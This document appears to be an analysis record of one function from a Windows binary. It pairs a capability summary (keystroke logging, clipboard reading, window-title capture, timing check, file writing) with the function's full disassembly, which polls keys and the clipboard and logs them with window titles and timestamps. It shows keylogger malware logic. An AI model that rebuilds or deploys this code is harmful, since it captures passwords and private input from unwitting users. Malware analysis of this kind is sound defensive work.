Function at 0x14000adb0
Capabilities:
Check for time delay via gettickcount
Get graphical window text
Log keystrokes via polling
Open clipboard
Read clipboard data
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1860
call fcn.14001e540
sub rsp, rax
mov ecx, 0x28
call fcn.14001df34
mov rdi, rax
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
xor eax, eax
xor edx, edx
mov r8d, 0x800
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
mov qword [rdi + 0x20], rax
call fcn.14003d990
lea r13, str._esc_
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x14005f7e4]
cmp eax, 0x5dc
jbe 0x14000afa7
call qword [sym.imp.KERNEL32.dll_GetTickCount]
xchg dword [0x14005f7e4], eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
mov ecx, recv
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rsi, rax
test rax, rax
je 0x14000afa1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalSize]
mov rcx, rsi
lea ebp, [rax*2 + 2]
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rbx, rax
test rax, rax
je 0x14000af98
cmp ebp, 0x800
jge 0x14000af98
lea r8, [rsp + 0x1060]
mov rcx, rax
sub r8, rax
nop
movzx edx, word [rcx]
movzx eax, word [rcx + r8]
sub edx, eax
jne 0x14000aea4
add rcx, 2
test eax, eax
jne 0x14000ae90
test edx, edx
je 0x14000af98
movsxd r8, ebp
lea rcx, [rsp + 0x1060]
mov rdx, rbx
call fcn.14003d2f0
mov r8, rbx
lea rdx, [0x14004ba90]
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, qword [0x14005e738]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov qword [rsp + 0x30], 0
lea rcx, [0x14005e310]
mov dword [rsp + 0x28], 2
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x20], 4
mov r8d, 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000af86
mov r9d, 2
mov dword [rsp + 0x18a8], 0
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea r9, [rsp + 0x18a8]
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0x60]
mov rcx, rbx
lea r8d, [rax + rax]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x14005e738]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x800
call fcn.14003d990
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
xor edx, edx
lea rcx, [0x14005e750]
mov r8d, 0x800
call fcn.14003d990
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8d, 0x800
lea rdx, [0x14005e750]
mov rcx, rax
mov qword [0x14005e740], rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
xor edx, edx
lea rcx, [rsp + 0x860]
mov r8d, 0x800
call fcn.14003d990
mov rax, qword [0x14005f4f0]
cmp qword [0x14005e740], rax
je 0x14000b0c5
lea rcx, [0x14005e750]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x14000b0b7
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [rsp + 0x5a]
movzx edx, word [rsp + 0x58]
movzx r8d, word [rsp + 0x56]
movzx eax, word [rsp + 0x5c]
movzx r10d, word [rsp + 0x52]
movzx r9d, word [rsp + 0x50]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
lea rcx, [rsp + 0x860]
mov dword [rsp + 0x30], edx
lea rdx, [0x14004ba40]
mov dword [rsp + 0x28], r8d
lea r8, [0x14005e750]
mov dword [rsp + 0x20], r10d
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x860]
call fcn.14000acf0
xor edx, edx
lea rcx, [0x14005e750]
mov r8d, 0x800
call fcn.14003d990
mov rax, qword [0x14005e740]
lea rcx, [0x14004bab0]
mov qword [0x14005f4f0], rax
call fcn.14000acf0
jmp 0x14000b0c5
mov rax, qword [0x14005e740]
mov qword [0x14005f4f0], rax
mov rcx, qword [0x14005e730]
test rcx, rcx
je 0x14000b0fc
mov dword [0x14005e74c], 0x3c
lea r9, [0x14005e74c]
mov rax, qword [rcx]
lea r8, [0x14005ef50]
mov edx, 0x18
mov dword [rsp + 0x20], 0
call qword [rax + 0x50]
xor r12d, r12d
cmp dword [0x14005e74c], r12d
mov dword [rsp + 0x18a0], r12d
jle 0x14000b2a4
lea r15, [0x14005ef54]
nop dword [rax + rax]
xor ebx, ebx
lea rbp, [0x1400577e8]
mov r12d, 0xff7f
nop
mov eax, dword [r15 - 4]
dec eax
cmp eax, dword [rbp]
jne 0x14000b271
test byte [r15], 0x80
je 0x14000b241
cmp ebx, 0x39
jne 0x14000b171
mov ecx, setsockopt
call qword [sym.imp.USER32.dll_GetKeyState]
add ax, 0x7f
test r12w, ax
mov eax, 0
sete al
mov dword [0x14005e728], eax
jmp 0x14000b189
cmp ebx, 0x29
je 0x14000b219
cmp ebx, 0x35
je 0x14000b219
mov eax, dword [0x14005e728]
cmp dword [0x14005e748], 0
je 0x14000b1d7
mov eax, ebx
imul r14, rax, 0x7c
lea rsi, [r14 + r13]
lea rcx, [rsi + 0x28]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x14000b1b0
lea r9, [rsi + 0x28]
jmp 0x14000b204
cmp dword [0x14005e728], 0
je 0x14000b1d1
lea rsi, [r14 + r13]
lea rcx, [rsi + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x14000b1d1
lea r9, [rsi + 0x50]
jmp 0x14000b204
lea r9, [r14 + r13]
jmp 0x14000b204
test eax, eax
je 0x14000b1fb
mov eax, ebx
lea rcx, [r13 + 0x50]
imul rsi, rax, 0x7c
add rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x14000b1fb
lea r9, [r13 + 0x50]
add r9, rsi
jmp 0x14000b204
mov eax, ebx
imul r9, rax, 0x7c
add r9, r13
mov r8, rdi
lea rdx, [0x14004bad0]
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x14000b271
mov eax, ebx
lea rdx, [0x14004bac0]
imul r9, rax, 0x7c
mov r8, rdi
mov rcx, rdi
add r9, r13
call qword [sym.imp.USER32.dll_wsprintfW]
mov dword [0x14005e748], 1
jmp 0x14000b271
cmp ebx, 0x29
je 0x14000b24b
cmp ebx, 0x35
jne 0x14000b271
mov eax, ebx
lea rdx, str._s_s
imul r9, rax, 0x7c
mov r8, rdi
mov rcx, rdi
add r9, r13
call qword [sym.imp.USER32.dll_wsprintfW]
mov dword [0x14005e748], 0
inc ebx
add rbp, 0x7c
cmp ebx, 0x66
jl 0x14000b130
mov r12d, dword [rsp + 0x18a0]
add r15, 0x18
inc r12d
cmp r12d, dword [0x14005e74c]
mov dword [rsp + 0x18a0], r12d
jl 0x14000b120
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x14000ae03
mov rcx, rdi
call fcn.14000acf0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
mov qword [rdi + 0x20], rax
jmp 0x14000ae03